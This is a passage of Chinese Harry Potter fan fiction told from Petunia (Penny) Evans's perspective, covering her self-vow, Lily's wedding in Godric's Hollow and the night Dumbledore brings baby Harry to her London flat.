顺着那飞舞的音符组成的旋律,佩妮露出发自内心的微笑,诚心诚意地说:“我请在座各位见证。”
她请阳光见证,请清风白云见证,请这一刻围绕在她身边的生灵万物见证。
“我,佩妮·伊万斯,愿意对自己承诺。”
“从今时直到永远,无论是顺境或者逆境。”
“富裕或者贫穷。”
“快乐或者忧愁。”
“我将永远忠诚于我自己。”
“爱着我自己,珍惜我自己。”
“直到永远。”
“走吧,桑丘。”无视德思礼的反应,佩妮转身推开了女贞路4号花园的门。
太阳晒得石砖路滚烫,路面上还有一些碎石。
佩妮觉得自己的脚底既烫又痛。
她的膝盖发软,身体不可抑制地颤抖起来,仿佛从一场艰难的战斗中侥幸脱身。
可在她乏善可陈的生命里,哪有什么酣畅淋漓的战斗,能让她一剑斩下敌人的头颅,快意地举起她的宝剑。
这场战斗丢盔弃甲,她什么也没有得到。
她的眼睛和鼻子都酸胀无比。
让她想想,现在她要怎么从萨里郡回到伦敦。
回到伦敦那间只剩她一个人的公寓。
现在可真只剩下她一个人了。
她总不会忘记那种感觉。
那个寒冷的冬夜,她一个人坐在科克沃斯的家门口,月光像潮水一样要吞没她。
伦敦的那间一室居公寓,房间里漆黑寒冷又空荡荡,隔音效果极差的墙壁里传来别人的人生。
月光,属于科克沃斯家门前的月光,还有那条漆黑小路的月光一刻不停地追逐着她。
孤独和混乱是潜藏在黑暗里的怪物,在她独身的时候缠上她,啃咬她,吞噬她。
可这时黑狗贴着她的腿从她身边跑过去,温热的毛茸茸的触感擦过她小腿裸露在外面的皮肤。
佩妮站在了原地。
“桑丘。”黑狗回头望着她。
“没什么。”佩妮抽了抽她的鼻子,摇了摇头。
她真以为她是骑士吗?
她真以为她有一柄宝剑吗?
阳光十分猛烈,路上没有多少行人,路边的一排排挺立的树木就像一座座风车,对她露出嘲弄的笑容。
德思礼把她抛在那条空旷的车道上,站在岔路口,她泪流满面地抱着膝盖蹲了下去。
可最坏的结局是什么?
——死亡。
不过是死亡而已。
是了,她已经对自己发过誓了。
现在她要穿上堂吉诃德的铠甲,举起布伦南小姐的宝剑,向一盏盏风车发起进攻。
太阳太大了,照得她有一些睁不开眼睛,她走到路口伸手拦下一辆空载的计程车。
她拉开车门,回过头去,黑狗却没有跟上来,它停在了原地,用那双黑色的眼睛深沉地凝望着她。
一条高傲的,威风凛凛的狗。
一条聪明的,自由自在的狗。
“我们会再相见吗?”佩妮伸出了她的手。
面对佩妮再次伸出的手,黑狗歪着头不闪不避地看着她。
“我们会再相见的。”佩妮的手最后也没落到它的头上,她深深看了它一眼,坐上了计程车,关上了车门。
“再见,桑丘。”
计程车缓缓往前开动。
后视镜里那黑狗站在原地看了一会儿,摇着尾巴转身向相反的方向走去,很快消失在街角。
96.chapter95
“我这样真的够了吗?”莉莉有一些紧张地看着镜子里的自己。
她总觉得自己还不够美,红色的头发哪怕用了足够的波特牌柔顺剂,她还嫌有一些粗糙,脸颊上的雀斑好像怎么都无法遮住。
但实际上——将最后一朵满天星插在莉莉的发间,佩妮把白色头纱披在莉莉头上,看着镜子里的莉莉——她头上插着恰到好处的鲜花,华美的婚纱套在她的身上,使她看起来就像希腊神话故事里美丽的宁芙。
不,佩妮认为没有一个宁芙有莉莉这样的美貌。
唯一美中不足的是莉莉瘦了一些,毕业后她所选择的生活看起来并不轻松,可她那双水绿色的眼睛却总像燃着两团坚毅的火焰,火焰触及之物,要么被融化,要么则臣服于她。
“你已经足够美了。”佩妮收回她的视线。
“你站在这里,对我来说就像梦一样。”莉莉说,“我有时候做梦,在那个梦里我偷看了你的信件后,从此之后你就再也不理我了,一直到我的婚礼,你也没有来。对不起,佩妮。”
她一下感伤起来。
佩妮伸出手把莉莉散落的长发拢进了头纱里:“看在你已经向我诚挚地道了歉的份上——如果当时你没有从巴斯给我带回那个笔记本,我就真的再也不理你了。”
莉莉扑哧一下笑了出来,但马上那双水绿色的眼睛又笼上了一层水汽,她像个孩子一样看着佩妮:“莉莉·伊万斯马上就要变成莉莉·波特了。”
她突如其来的多愁善感使佩妮感到好笑,她只好伸出手,温柔地拭去莉莉眼尾浸出的一点水珠,对她说:“但你永远是佩妮·伊万斯的妹妹,没有人能把你从我这里夺走。”
“亲爱的莉莉,还有佩妮。”房门被敲响,波特夫人温柔的声音出现在了房门外,“时间已经到了,我们该出发去教堂了。”
莉莉一下抓紧了佩妮的手臂,她手套上的绢纱拂过佩妮手肘皮肤的质感,使她心里微微发颤。
还有两缕头发散在莉莉的耳边,怎么都无法完美地别进头饰里,但是多出来的这两缕碎发一点也不影响莉莉整体的美貌,佩妮索性选择了放弃,拉着这美丽的新娘从凳子上站了起来。
佩妮走过房间,伸手要拉开那扇木门。
“佩妮!”这时莉莉在她身后喊住了她。
佩妮回头,阳光透过绿植缠绕的窗户,洒在莉莉身上,使她看起来像一座世界上技艺最高明的石匠雕出来的美轮美奂的女神像。
她站在那里,就像太阳悬挂在天空,在这一刻,佩妮不由自主地屏住了她的呼吸。
“我美吗?”太阳摸了摸她的裙摆。
“没有人比你更美了。”佩妮扯了扯她的嘴角。
这句话使莉莉绽开了一个美丽至极的笑容:“那你要记住我最美的样子,永远。”说罢她就走上来,挽住了佩妮的手。
“你们看起来美极了。”波特太太站在门外,看见她们——尤其是莉莉的样子,看起来满意得不得了。花童和其他伴娘——有几位是莉莉在霍格沃茨的室友,其中有一位是玛丽,佩妮认识她,过去的暑假,莉莉总会分一点时间同她待在一起,在此刻簇拥了上来,她们也在看见莉莉的那一刻,为她的美貌而产生片刻的失语。
波特太太看见了莉莉垂落在耳边的红发,她微笑着拿出魔杖轻轻一点,那两缕顽皮的头发便灵巧地别进了她的发间。
不得不说,魔法可真是神奇。
波特太太的视线随之落在了佩妮的耳边,她莞尔一笑,再次挥动了她的魔杖。在佩妮没有反应过来时,她听见自己的耳畔有什么东西绽开的声音。
“那朵蓝色的玫瑰!”莉莉叫了起来,“我的呢?”
“噢,莉莉,你的头上已经插了够多的鲜花了,”波特太太慈爱地看着她,“你看起来已经相当美了。”
莉莉挽着佩妮的胳膊,两位背着天使翅膀的花童一边抛洒着花瓣,一边带着她们沿着那条一夜之间沿途开满了百合花的石砖路向教堂走去。
“昨天这条路上还没有百合花。”莉莉小声说。
“应该是詹姆临时的主意,”佩妮目不斜视,任由那些或好奇,或打量的视线落在她的脸上,“昨天晚上我听见窗外传来奇怪的声音,詹姆和小天狼星,还有他们那两位朋友,形色可疑地在路边挥动着他们的魔杖,大晚上吵得人睡不着觉。”
“现在我知道他们在干什么了。”佩妮说,视线的余光里,莉莉的脸一下红了起来。
“第一支舞我要跟你跳。”
“不,按照传统第一支舞你要跟詹姆跳。”
“不对,要按照传统的话,你牵着我的手,送我走进教堂,再把我的手交给詹姆,第一支舞就应该跟你跳!”莉莉执拗地说。
现在莉莉挽的是佩妮的手。
伊万斯先生去世了,谁来带着莉莉推开教堂的门?
伊万斯先生那边还有几位在世的堂兄弟,佩妮和莉莉的堂父们。
但我是她姐姐,佩妮果决地说,我是她在世唯一的亲人,是我,也只有我能带着她推开教堂的门。
没有人能提出反对的意见,因为莉莉决定好的事,谁也没办法改变。
现在他们的视线落在她的身上,佩妮深吸了一口气,挺直了她的脊背。
“你的巫师朋友们穿得可真是太有特色了。”佩妮小声说,要不说这是莉莉的婚礼,她还以为是化妆舞会。
“噢,我同他们说了,在莉莉的婚礼上,他们想穿什么就穿什么,快乐自在才是重点。”
“佩妮,那个是麦格教授,你还记得她吗?她来接我去的对角巷,她会变成一只虎斑猫。”
“我当然记得。”对上那位就连笑起来都显得严肃的高挑女巫,她想象不出她怎么能变成一只虎斑猫,佩妮只好回以一个稍显紧张的微笑,“我记忆力好的不得了。”
“那是弗利维教授,教授我们魔咒课。”莉莉在信里写给她的那位混有妖精血统的教授,穿着一条紫罗兰色灯笼裤,生动形象地出现在了她的眼前。
“那个人的眼睛太奇怪了!”
“他是阿拉斯托·穆迪,”莉莉小声为她介绍,“他是一个很好的人,一个很厉害的傲罗。”
“我没有说他不好,”佩妮说,“只是他明明在看着托盘上的酒,我刚刚经过他时,那只圆溜溜的眼睛一下就转过来了,把我吓坏了。”
“不,你才不会被吓坏,”莉莉的语气听起来相当坚定,“你是我见过的最勇敢和坚强的人,什么都不会吓坏你,什么也不会压倒你。”
莉莉的话使佩妮一愣,她直觉莉莉说得一点儿也不对,一点点放大的黑暗和孤独都会吓得她不可自拔,优柔寡断才是她的常态。
在她以往的记忆里,一直以来更勇敢和坚强的人,是莉莉才对。
但她没有
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时间同她争辩了,因为教堂的大门已经出现在了她的面前。
牧童为她们拉开挂着爱神装饰的教堂大门,花瓣从高空洒下来,阳光罩在布道台上,一切是那么神圣庄严,空气安静下来,所有人的视线都落在她们身上。
音乐在这一刻响起,佩妮深吸了一口气,牵着莉莉的手走了进去。
詹姆·波特蠢透了,佩妮心想。
他难得一次把他那乱七八糟的头发梳得整整齐齐,穿上了一身修身昂贵的燕尾服式西装,看起来颇有一点学生会主席,魁地奇队长那风云人物的样子——佩妮不得不承认,此刻他俊美非凡的容貌是此时教堂里除莉莉以外的第二个视线焦点。
可他还是傻透了。
他一见到莉莉就犯了傻,视线落到她的脸上,就仿佛被黏住了一般再也无法移开。他像个笨蛋,只会嘴巴微张,呆呆地看着莉莉,什么动作也做不了了。
要不他身后的小天狼星推了他一把,他差点忘了要将莉莉的手接过去。
更别说掏戒指的时候,他简直像个无法驯服自己四肢的猴子。
只有掀开头纱吻上莉莉,他才像找到了自己的灵魂。
他把莉莉抱得未免也太紧了些——莉莉看起来都快没法呼吸了。
没法呼吸的是佩妮。
詹姆·波特愚蠢的样子使佩妮只能微微偏开了头,无奈地闭上了她的眼睛。
激荡的音乐,海誓山盟的誓词,在交握双手之间闪动嵌合的誓言魔咒。
拥吻,欢呼,飘在空中的彩带。
永恒的爱。
空气被不知不觉加热,这样热烈的情景使佩妮的心口发胀发痛,她像无法承受一般踉跄着后退了一步,直到撞到了一个人身上。
有人轻轻托了她一把,稳住了她的身形。
佩妮往后一瞧,与小天狼星对上了视线。
陡然撞进那双灰色的眼睛使佩妮心中一跳——因此自上次在火车站分别,她再也没有见过小天狼星。
雪夜下的冲锋已经好像是上辈子的事情了。
小天狼星先垂下了他的眼睛,往旁边挪了挪,礼貌地替她腾出了一点空间,让不自觉后退的她能站在那儿。
“佩妮!”她听见莉莉急切的呼唤。
小天狼星轻轻推了她一把,把她从愣怔中唤醒。
一抬头,视线里新娘手中的那束鲜花直直冲她飞了过来——在场的每一位宾客应该都能理解,不会有人比新娘更希望自己的亲姐姐能获得幸福。
佩妮手忙脚乱地伸出手,接住了那捧鲜花。
教堂里,他们的视线都落在了佩妮身上,落在了佩妮手中那捧象征着幸福的鲜花上。
她看着自己手中的鲜花——花瓣上还带着清晨的露水。
佩妮一下笑了起来,在宾客们的惊呼声中,手一扬,那捧刚到她手上的鲜花一下飞到了空中。
“莉莉,”她大声呼唤着莉莉,“我同你说好的事情!”
莉莉咯咯笑了起来,从她的婚纱里抽出了她的魔杖,指向佩妮抛向空中的花束,念出了一道咒语。
砰——一道魔咒击中了那束花束,花束在空中炸了开来,幻化成漫天飞舞的百合花瓣和牵牛花瓣,纷纷扬扬地落在了到场的每一位宾客望着天空的惊诧的脸上。
音乐在此刻变得激烈起来,香槟酒如烟花一般炸开。
舞会开始了。
97.chapter96
她先同莉莉跳了第一支舞,她自觉跳得很不错,虽然她有很久没有跳舞了,但她一次也没有踩上莉莉的脚,只是音乐声音一变换,詹姆就从人群里挤了上来,迫不及待地牵走了莉莉的手。
人群把她和莉莉分开来,佩妮在原地喘着气,慢慢平复她的心跳,环顾四周。
音乐响起的前几拍,有那么一瞬间,舞池里所有的人——除了她,都像找到了自己新的舞伴。
但这不怪他们,因为她是一个人来的这里,同这个巫师小镇还没有磨合上几天。
佩妮从自动向她飘过来的酒托盘上取下了一杯香槟酒,浅浅抿了一口。
稍作休息一下,等一首舞曲,等她想跳舞的时候,她就去舞池里挑选一个她看得顺眼的幸运儿做她的舞伴。
可还没等她钻出人群,一个身影便站到了她面前。
眼前男生瘦瘦高高的,面色有些苍白,但眉目却分外柔和。
她知道他,莱姆斯·卢平,詹姆读书期间的朋友。
“我是莱姆斯·卢平,你可以叫我莱姆斯,伊万斯小姐,我能请你跳一只舞吗?”卢平柔声说,他那双温柔的眼睛里闪烁着一点黠动的光,使他那张温和,但些许有些疲惫的脸焕发出青年灵动的光。
佩妮一点也不讨厌卢平,他温和又礼貌,虽然眉宇之间总是笼罩着一层淡淡的忧愁。
于是佩妮把香槟酒放在了另一个及时向她飞来的空托盘上——魔法真神奇,将自己的手放在了卢平朝上向她伸过来的手上。
“你可以叫我佩妮,我有一段时间没有跳过舞了,要是踩到你的脚了,我提前对你说一句抱歉。”佩妮说。
“不打紧,”卢平温和地笑着,“谢谢你的花瓣,我们都享受到了你和莉莉的祝福,真是百闻可不如一见。”
现在佩妮真的有些好奇莉莉平时是怎么跟他们介绍的她,可是他们明明是詹姆的朋友,她把这个问题抛给了卢平。
但卢平没有正面回答她,他只说:“他们说你是一个很有趣的女孩,事实证明确实如此。”
“那是当然,因为我可是莉莉·伊万斯的姐姐。”佩妮骄傲地说。
卢平笑了起来。
他真是一个相当有礼貌的男生,随着舞曲的进行,他的手有时搭在佩妮的肩膀上,有时放在佩妮的腰间,但他的手永远虚握成拳,与佩妮保持着一个礼貌的距离。
她没有踩到他,他也没有踩到她。
这支舞曲跳得佩妮畅心如意。
音乐再一变,佩妮松开了卢平的手:“如果一会儿你还想找我跳舞的话。”
卢平眨了眨他的眼睛,对她笑了一下,人群又把她和卢平分开了。
混乱的音乐声中,她听见卢平不太清晰的话传到了她的耳边。
“去同她跳舞。”
他同谁说话呢。
但场面热烈又混乱,这句话就像扔进沸水中的一块冰,很快就融化了。
可一会儿真有人找上了她了——却是一个看起来和她年龄差不多大,眼睛又大又圆的姑娘围了上来。
“我叫温妮,莉莉赫奇帕奇草药课的同学,我要同你跳舞。”眼睛像黑宝石一样的女巫说,“莉莉说她的姐姐是一个相当可爱的人——她本人已经够招人喜欢了。我看到你和莉莉跳舞了,你会跳男步,你肯定不会踩到我的脚。我们一起跳舞,肯定跳得快乐极了。”
佩妮怎么能拒绝那双亮晶晶的又大又圆的眼睛,于是她牵起了那个漂亮姑娘的手,跟着音乐一起飘到了舞池中央。
舞曲刚一结束,那漂亮的巫师女孩便松开了握着佩妮的手,但她叫住了佩妮:“别走,我们还有几个朋友呢。”
又有几个女孩围到了佩妮身边,她们都要跟她跳舞,跳男步,跳女步,随便佩妮选。
她们都是莉莉的朋友,一个女孩在跳舞的时候,向佩妮展示了她口袋里粉色的蒲绒绒,另一个女孩跳舞的时候把佩妮脖子上的缎带变成了金色,说这样同她的头发更相配。
托着香槟酒的托盘在空中飞来飞去,只要她停下来,就乖巧地飞到她的手边。
她喝了好些杯酒,香槟酒,黄油啤酒,还有一种很好喝的苹果酒——据说这是波特夫妇亲自酿的酒。
露天舞会中间的餐桌上摆满了南瓜派、香烤牛肉、蜂蜜馅饼,哪一样吃空了,盘子里就会自动补充。
她不知道跳了几支舞,只知道她被柑橘洗发水的味道还有柠檬薄荷糖味的大笑包围了。
太阳好像一直没有下山,明晃晃地照在她的眼前。
等她回过神来,才发现太阳早就已经沉到了戈德里克山谷溪边的地平线上,代替太阳点亮世界的是那些自动亮起悬浮在空中的魔法灯具。
星星和魔法萤火虫一起现身在了这场舞会上。
佩妮松开最后一个姑娘的手,旋身走出了人群。
她从凳子上拿起了她搭在那儿的外套,拿着一杯苹果酒绕到教堂的背侧,循着那条木制楼梯登上了二楼的观景台。
她往下看,视线里充盈着神奇魔法的痕迹。
魔法,到处都是魔法。
藏在她抽屉里的莉莉的信在这一个晚上都变成她眼前的现实。
她以为她是这儿唯一的一个麻瓜。
但她想错了,来参加舞会的只有一半是巫师。
她想起来詹姆说过戈德里克山谷是一个巫师和麻瓜混住的地方。
形形色色的面孔,每一张脸庞都不一样,但每一个人却又都是一样的。
年迈的波特夫妇是这样认为的。
年轻的波特夫妇也是这样认为。
所以大约整个戈德里克山谷的人都来参加了莉莉的婚礼。
佩妮抿了一口苹果酒,看着下方舞会闪动的灯光和篝火光。
天空是天鹅绒质的青灰色,点缀着在伦敦看不见的,如钻石一般的繁星。
月亮又大又圆。
夜风划过佩妮裸露在外的皮肤,她感觉有些冷,便披上了她的外套。
佩妮把苹果酒放在围栏的石台上,从外套右边的口袋里摸出了塞在里面的白纸和铅笔,俯身倚靠在种满百合花的围栏上,一边将月亮、星空、热闹的舞会,还有远处山林偶尔腾飞而起的夜鸟尽收眼底,一边随性地在白纸上涂画着。
她头晕沉沉的,如坠一场美梦之中。
美梦并不常有,有时候她也做同莉莉一样的梦,假如那个暑假她没有原谅莉莉。
如果那个暑假她没有去图书馆。
成为德思礼太太,生下一个叫达利的儿子。
她打了个激灵。
下方的音乐变了又变,舞会的坪地上有人举起了魔杖,向天空发射五颜六色的魔法烟花。
佩妮的左手不经然在外套左边的口袋里触及了一个长方形的盒子,她愣了一下,那是布勒布里奇太太送给她的香烟——但她已经有很久没有再碰过这些了。
她刚把香烟和打火机从口袋里拿了出来,便听见身后的楼梯上传来了一阵规律的脚步声。
有人也循着那条楼梯要走上这个观景台。
佩妮回头,她要对不速之客说这里已经有人了,请这位迟来的客人另寻其他的好地方,别叨扰了她的兴致。
但随着脚步声的靠近,来人却是小天狼星。
他垂着头走上楼梯,夜色昏暗,并看不清他的表情。
只能看见他还穿着那身伴郎的服饰,一件白色衬衫搭配一条黑色西装长裤,衬得他身形修长——喉结下方的领口还别了一个黑色的领结。
拒绝的话还没说出口,小天狼星就径直走了过来,不由分说地站到了她的身侧。
月光照亮他俊美的面庞。
雪松和琥珀的味道钻进她的鼻尖,混合着一点未褪去的苹果酒的香甜充盈了她整个的口鼻腔。
不大的观景台站了两个人,空间一下变得拥挤了来。
——明明是她先来的。
但后来者好似无所察觉,理直气壮地站在她的身侧,视线直勾勾地落在了她什么装饰也没有的左手上。
她以为小天狼星一下就看见了她左手覆盖下的香烟和打火机。
好吧。
佩妮打开烟盒,将里头正巧还剩下的两支烟抽了出来。
她自己抽去一根,把剩下的那支推给了小天狼星。
小天狼星微微挑起了他那浓密的眉毛,目光从她脸上一扫而过,伸出手接过了佩妮递给他的那支烟。
他的手指从石台上拾起那只打火机。
咔哒一声轻响,细小的银蓝色火苗在月光下砰地一声燃烧了起来,微弱又倔强地在小天狼星的手中跳动。
银蓝色的火苗递到她面前,小天狼星先为她点燃了她的那支烟。
白色的烟雾一下升腾而起,但佩妮却不想动那支烟,她只用左手的食指和中指夹着它,撑在她的面颊旁,俯靠在围栏上
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,在缭绕的烟雾里看着小天狼星不太清晰的脸庞。
恰时一阵微凉的夜风袭来,一下吹熄了小天狼星手中那跳跃的银色火苗。
火苗一熄灭,就再怎么也燃不起了,无论小天狼星试了几次——那打火机很久都没有用过了,半途罢工可太正常不过了。
佩妮轻笑了一声,好整以暇地透过烟雾望着小天狼星——小男巫肯定会有办法的,他要是都没有办法了,谁还能有办法。
佩妮的笑容很浅,声音很轻,但在这个不大的空间里,她敢保证,小天狼星一下就捕捉到了。
于是隔着氤氲的烟雾,那双灰色的眼睛与她对视上,烟雾只能模糊那双眼睛形状优美的外形,却无法阻挡他直勾勾望过来的眼神。
佩妮眨了眨眼。
烟雾的那侧,灰色眼睛的主人突然把那支烟放置在了两片薄唇之间,倾身朝佩妮的面颊——不,是她撑在面颊旁,夹着烟的左手,靠了过来。
第一个呼吸。
更浓烈的雪松和琥珀的气息。
她看见他蓦然清晰的放大的脸——高挺的鼻梁,下垂的眼睛,被月光投射在脸颊上,长长睫毛的阴影,翕动之间像蝴蝶扑闪的翅膀。
形状漂亮的嘴唇,含着的那支白色香烟因他的呼吸而微微颤动。
额前一缕散落的黑色头发,落在他的眉宇之间。
他靠得太近了。
佩妮下意识要后退,但她立刻想,凭什么是她后退。
于是她一动也不动,睁着她的眼睛,就那么定定地看着小天狼星。
第二个呼吸。
他温热的呼吸喷在她的手上。
他脸上的表情相当正经,又一副理所当然的做派。
她垂目,视线落在两支香烟交碰的点上。
火光从一支烟的烟头,跳跃到另一支烟上。
更多的白色烟雾升腾而起,模糊了他们之间的时间和空间。
她察觉到有视线落在她的脸上。
可等她抬眼凝望过去——
灰色的眼睛又乖巧地下垂着,黑色的长睫毛不可察觉地轻颤着,投下蝴蝶翅膀般的阴影。
直到另外一只烟被完全地点燃。
第三个呼吸。
佩妮轻吐出一口气,看着白色的烟雾随着她的呼吸顷刻席卷上了小天狼星那张漂亮的脸蛋。
白色的烟雾飘进了他的眼睛里,灰色的眼睛难以忍受般立刻泛起一层浅薄的水光,他眨了眨眼,立刻撇去了那点微弱水光。
小天狼星相当自然地直起了他的身体,从嘴里取下那支被点燃的烟——他也没有动它,而是像佩妮一样夹在了右手的食指和中指间。
两只被点燃的香烟产生的烟雾在他们两人之间升腾而起,交缠又分隔,组成一道时而坚固又时而缥缈的烟墙。
好像很漫长,但点烟的时间只是几个呼吸之间的事情。
“你在画什么?”穿过烟雾,小天狼星看着佩妮手上的白纸,他一派无辜地询问,语气熟稔,好像他们是相识已久的老友。
——但掰着指头算算,如果将她把他的脸摁进石墙里那次也算进去的话,他们总共就见了四次面。
“如你所见,今晚这热闹非凡的舞会。”
“戈德里克山谷今晚哪里有那么多鸟?看起来像鹰隼。”
“是山雀。”
小天狼星狐疑地皱起了他的眉头。
佩妮对着那轮好似就在她眼前的圆月竖起了她的铅笔。
“看见了吗?飘在月亮旁边的那些云朵,像不像长着翅膀的鸟?”
“要飞跃西伯利亚的风雪,山雀就要有遒健的身躯和宽阔的翅膀。”
夜晚另一场舞会又开始了,音乐一场接一场,宴会魔咒还有烟花使这儿亮若白昼,他们简直要把戈德里克山谷今晚的黑夜统统赶走。
在婚礼最热闹的时候,佩妮穿上了自己的外套离开了舞会。
她把那幅画压在了莉莉梳妆台的香水下。
她搭乘汽车离开戈德里克山谷,赶上最后一班回伦敦的火车。
她走在回到她那独身公寓的路上。
夜深露重,她感到有一些冷,路上唯月光和影子陪伴着她。
她一颗孤孤单单的灵魂,东飘西荡在这世间,看起来好像浮萍一般无所凭依。
但她此时无论向东向西,向南向北,往哪个方向走,
——都是自由。
98.chapter97
乌云把月亮遮住了,可不是一个好天气。
滚滚的闷雷和闪电在厚厚的云层之中若隐若现。
米勒娃·麦格站在那栋廉价公寓的前面,这位惯以严肃的正直女巫紧锁着她的眉头,带着那么一些不确定性地轻声问道:“阿不思,你确定是这里吗?”
廉价公寓灰色的外墙倒映在米勒娃·麦格的眼睛里,外墙到处都是斑驳的痕迹,有些地方甚至可以看见里头的石砖,整个公寓只有不到三分之一的住宅仍亮着昏黄的灯光。
它孤零零地立在那儿,像一座即将倾倒的大厦。
受到雷电的影响,他们头顶的那盏街灯闪烁了好几下,最终还是啪地一声熄灭了,黑暗旋即从他们头顶笼罩了下来。
阿不思·邓布利多抬起了脚,让一只老鼠从他长袍下匆匆跑过,看着它很快消失在街角的黑暗里。他举起了魔杖,魔杖的尖端冒出一团光斑,银白色的光亮顷刻笼罩了他们。
“海格。”他的声音很轻,连夜的奔波使这位魔法史上最伟大的白巫师声音里也带上了一丝疲惫,可他那双湛蓝色的眼睛仍像大海一样温柔澄澈。
伴随着一声巨大的抽噎声,路灯下闪出来一位身形如小山一般的男人,魔杖的光照亮他满是泪痕的脸,他的怀里则珍而重之地抱着一个襁褓。
“把哈利给我吧。”邓布利多柔声对他说,海格没有办法再跟他们一起上去了,那座公寓的大门对他来说显然有些太小了。
“不,阿不思……”小山在震动,海格抽泣着抱紧了他怀里的襁褓,“阿不思,哈利才那么小。你根本不知道她是个怎样的人,她会照顾婴儿吗?她会对哈利好吗?万一她认为哈利是个累赘呢?我们完全可以把他留在霍格沃茨的,我会爱他,米勒娃会爱他,我们都会爱他的……”
襁褓里的孩子什么也不知道,他是一个很乖的孩子,只是哭了一小会儿,就蜷缩在那个施了保暖咒的襁褓里陷入了香甜的睡梦中。
他看起来和普通的婴儿没有任何的区别,除了他额头上那道闪电状的伤疤。
他还不知道发生在他身上的事情,也不知道他即将要面对的命运。想到这里,越来越多的泪水顺着海格的脸滑落,沾湿了他的胡须。
蓝色的大海里闪过一丝哀伤的水光,但他眨了眨眼,把那点哀伤隐入了大海的深处,只剩下一片湛蓝且坚定的水光:“要保护这个孩子,就得把他送到她身边去。米勒娃,我们得上去了。”
麦格伸出手,把那孩子从抽噎的海格手里接了过来——那孩子面容恬静地睡着,麦格觉得自己的内心狠狠地被人揪了一把。
但他们要相信邓布利多。
“走吧。”邓布利多放下他的魔杖,整个街区的路灯也随之都熄灭了。他们登上台阶,公寓的上了锁的大门应声而开,在黑暗中畅通无阻地走进了那栋廉价公寓。
楼道狭窄,电灯闪烁,黑暗里不时传来咳嗽声还有小狗的叫声。
那孩子在襁褓里不安地皱了皱眉,麦格安抚性地拍了拍襁褓,但她的内心也如同这栋公寓,处在一片不安地昏暗中,直到阿不思带着她和哈利来到一扇掉了漆的大门前,伸手礼貌地叩响了房门。
嘭——窗外的风送来一道惊雷声,她的电加热取暖器一下就熄灭了,房间也陷入了一片黑暗之中。
她的电热取暖器估计又把保险丝烧断了。
佩妮低咒了一声,娴熟地打开抽屉从里头摸出一个强光手电筒。
窗外闪过的雷电照亮她的脸,她的心不安地跳动着。
今天一整天她都心神不宁,但她把这一切都归因于天气。
这鬼天气,才10月份底,房屋里却已经冷得她瑟瑟发抖了。
风把她桌上摊开的书页吹的哗哗作响——她的书桌上横七竖八地堆满了从图书馆里借出来的书,她以为她已经足够努力了,但直到她坐进大学的阶梯教室里,她才知道有多少他们谓之常识的事情,她一点儿也不知道。
可这条路是她自己选的。
佩妮翻身从床上爬过去,手下柔软的床单呼唤她,但现在还不是睡觉的时候,还有很多书要看,时间总是不够用。
她从墙角搬出梯子,把强光手电筒咬在嘴巴里,一脚踩了上去,铁架的冰冷直冻得她一个哆嗦。佩妮低咒了一声,跳下来穿了一双棉质长袜,才重新踩着铁梯娴熟地掀开了保险栓的塑料外壳。
敲门声在这个时候响起,吓得她差点从不太稳当的梯子上摔了下来。
谁会在凌晨的时候敲响她房间的门?
佩妮咬着手电筒,坐在梯子上屏息聆听着。
她疑心自己听错了,又或者敲的是这层楼别家的大门。
可这层楼除了走廊尽头的一户人家,就剩她和麦克斯太太了。
你也会离开这里吗?有一天麦克斯太太敲响了她的门。
不,佩妮对麦克斯太太说,她费了那么大的劲才来到这里,她要读完大学再说。
于是麦克斯太太点点头,拿出了那罐早已过期受潮的蓝罐丹麦曲奇,向佩妮发出邀请,如果你有空的话,可以来我家一起看电视。
佩妮没有空,大部分的时间她会待在大学那宽敞明亮又温暖的自习室里,但她会给麦克斯太太带上超市每周二晚上9点后打折的玛芬蛋糕,因为麦克斯太太每天晚上都会为她留一盏灯。
黑暗中,又响起一阵坚定的敲门声,指向相当明确,就在她的门前。
佩妮安静地爬下了梯子,从工具箱里翻出一只巨大的扳手,左手拿着手电筒,右手持着扳手,慢吞吞地靠近了大门。
她从门上解下闩锁,指头下金属门锁同她的手指一般冰冷。
一个念头闪了过去,也许是莉莉。
这个想法使她又开心又生气。
最后一封三个月前她写给佩妮的信中,随信附赠了一张哈利在婴儿床里一边流口水一边大哭的魔法动态照片。
她在信里语焉不详地说戈德里克山谷陷入了一点麻烦中,但是她希望佩妮不要担心,等事情结束,她就给她写信。
虽然随后她便音讯全无了。
现在——佩妮拔出门闩,莉莉终于想起要来找她这个被她遗忘的可怜的姐姐了。
也许事情还没解决,莉莉来找她求助。那她要莉莉先好好跟她道个歉,并向她保证不会再让自己轻易地陷入危险中,她这个做姐姐的,再来想办法帮她那个麻烦精妹妹解决麻烦。
佩妮拉开了房门,手电筒和扳手啪地一下掉在了地面上。
“不原谅!”佩妮就靠在大开的窗边,从屋外吹进来的冷风快把她四肢冻僵了,但佩妮只顾啃咬着自己的手指,泪眼朦胧地看着窗外的景色,全然不去看那两个闯入她家的不速之客。
停在窗外路灯下的摩托车她瞧着有些眼熟,她疑心那是小天狼星的那辆摩托车,可颓然靠在摩托车边上的,却是一个她从来也没有见过的身形像小山一样的巨人。
有什么事情发生了,她想,一夜之间天翻地覆。
“她是一个战士。”邓布利多那双悲伤的蓝眼睛从眼镜后面望着她。
“英雄也好,战士也罢。她只是一个不负责任的妹妹!”佩妮尖叫起来,大开的窗户就像一个黑洞,要把她吸出窗户外面去了,“她就不应该进那堵该死的石墙,不该加入你的那个什么所谓的该死的凤凰社。她要是听我的话就好了,找一个稳定的工作,过一个幸福的人生,她儿子才一岁!她根本……”
不能控制的泪水涌进她的鼻腔里,呛得她一个哆嗦,她分不清是冷的还是气的还是恨的:“她自己去当英雄去了,却根本不在乎她唯一的,在世的可怜的姐姐的感受。”
“你,是你把她带进石墙里去的,为什么你不能把她带出来?现在还要把那个累赘扔给我。”她吼出的这句话显然伤害到了麦格,她还记得麦格来接莉莉的那天,虽然她认错人了,但她很快便向她道歉了。
她是莉莉的院长,她一直以来都是一个正直又善良的巫师。
错也不在她身上。
邓布利多和麦格看着她的眼神使她相当难受,愧疚和她心里无边无际的激烈情绪快要她的一颗心脏爆炸了。
泪水顺着她的脸颊簌簌地滑落。
麦格显然想说些什么,但邓布利多适时抚上了她的肩膀。
“伊万斯小姐,”邓布利多柔声对她说,“这个孩子需要你,他得待在你身边。”
邓布利多向她解释了什么是血缘魔法。
现在她总算明白了莉莉对抗的是什么,她的选择,那个预言,最后在戈德里克山谷终结一切的魔法。
——还有莉莉的爱。
那漫天飞舞的石砖,莉莉站在她身前的背影。
“我没说不要那个孩子。”她偏过头,不去看邓布利多落在她身上的眼神,指着麦格的怀里说,“把他给我。”
